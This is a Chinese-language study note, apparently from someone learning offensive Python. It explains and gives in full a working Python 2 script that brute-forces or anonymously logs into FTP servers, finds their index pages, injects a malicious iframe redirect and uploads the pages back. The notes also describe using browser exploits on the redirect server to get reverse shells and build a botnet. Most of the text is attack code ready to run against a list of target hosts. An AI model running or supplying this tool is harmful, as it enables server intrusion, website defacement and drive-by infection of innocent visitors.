一.主要思路:
(1).匿名登陆模块:
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'me@your.com')
有的ftp服务器开启了匿名登录服务,则可以使用该账号密码进行登陆
user:'anonymous',
password: 'me@your.com'
(2).密码和口令爆破模块
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
''''''
''''''
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
可以通过收集的字典进行爆破
(3).查找默认页面
登陆上ftp服务后,客户以通过ftp.nlst()方法查找所有文件的名字,
遍历找寻index.htm,index.asp等文件。
def returnDefault(ftp):
try:
dirList = ftp.nlst()
找到后返回其文件名列表
(4).注入恶意代码
通过找到的文件名将其文件下载下来,注入重定向代码,使访问该服务器的
用户都重定向到我们的攻击机上的index页面,从而对浏览器发动攻击
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print '[+] Downloaded Page: ' + page
''''''''''
(5).整合全部的攻击,写成一个函数
登录,遍历文件,上传覆盖,完成对目标服务器的攻击。
难点在与登录成功。(验证了信息收集的重要性)
def attack(username,password,tgtHost,redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
注意的是返回的index因该不止一个。
(6).关于连接肉机的说明
这部分攻击是有我们已获得的恶意服务器进行对用户浏览器的攻击,
主要通过浏览器的漏洞利用代码,当用户访问该服务器时,用户浏览器
会被注入恶意代码,从而向恶意服务器建立一个反向的shell。获得批量肉机。
具体实现尚未学习,可用metasploit框架中的漏洞利用代码。参考攻击
谷歌的极光行动。
3.主要利用模块
import ftplib
import optparse
import time
4.主要利用函数
def anonLogin(hostname):
def bruteLogin(hostname, passwdFile):
def returnDefault(ftp):
def injectPage(ftp, page, redirect):
def attack(username,password,tgtHost,redirect):
5.复习收获与总结
(1).端口映射的内容
https://baike.baidu.com/item/%E7%AB%AF%E5%8F%A3%E6%98%A0%E5%B0%84/98247?fr=aladdin
二.代码
#!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib
import optparse
import time
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'me@your.com')
print '\n[*] ' + str(hostname) \
+ ' FTP Anonymous Logon Succeeded.'
ftp.quit()
return True
except Exception, e:
print '\n[-] ' + str(hostname) +\
' FTP Anonymous Logon Failed.'
return False
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
time.sleep(1)
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print '[+] Trying: ' + userName + '/' + passWord
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print '\n[*] ' + str(hostname) +\
' FTP Logon Succeeded: '+userName+'/'+passWord
ftp.quit()
return (userName, passWord)
except Exception, e:
pass
print '\n[-] Could not brute force FTP credentials.'
return (None, None)
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print '[-] Could not list directory contents.'
print '[-] Skipping To Next Target.'
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print '[+] Found default page: ' + fileName
retList.append(fileName)
return retList
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print '[+] Downloaded Page: ' + page
f.write(redirect)
f.close()
print '[+] Injected Malicious IFrame on: ' + page
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print '[+] Uploaded Injected Page: ' + page
def attack(username,password,tgtHost,redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
def main():
parser = optparse.OptionParser('usage %prog '+\
'-H <target host[s]> -r <redirect page>'+\
'[-f <userpass file>]')
parser.add_option('-H', dest='tgtHosts',\
type='string', help='specify target host')
parser.add_option('-f', dest='passwdFile',\
type='string', help='specify user/password file')
parser.add_option('-r', dest='redirect',\
type='string',help='specify a redirection page')
(options, args) = parser.parse_args()
tgtHosts = str(options.tgtHosts).split(',')
passwdFile = options.passwdFile
redirect = options.redirect
if tgtHosts == None or redirect == None:
print parser.usage
exit(0)
for tgtHost in tgtHosts:
username = None
password = None
if anonLogin(tgtHost) == True:
username = 'anonymous'
password = 'me@your.com'
print '[+] Using Anonymous Creds to attack'
attack(username, password, tgtHost, redirect)
elif passwdFile != None:
(username, password) =\
bruteLogin(tgtHost, passwdFile)
if password != None:
'[+] Using Creds: ' +\
username + '/' + password + ' to attack'
attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
main()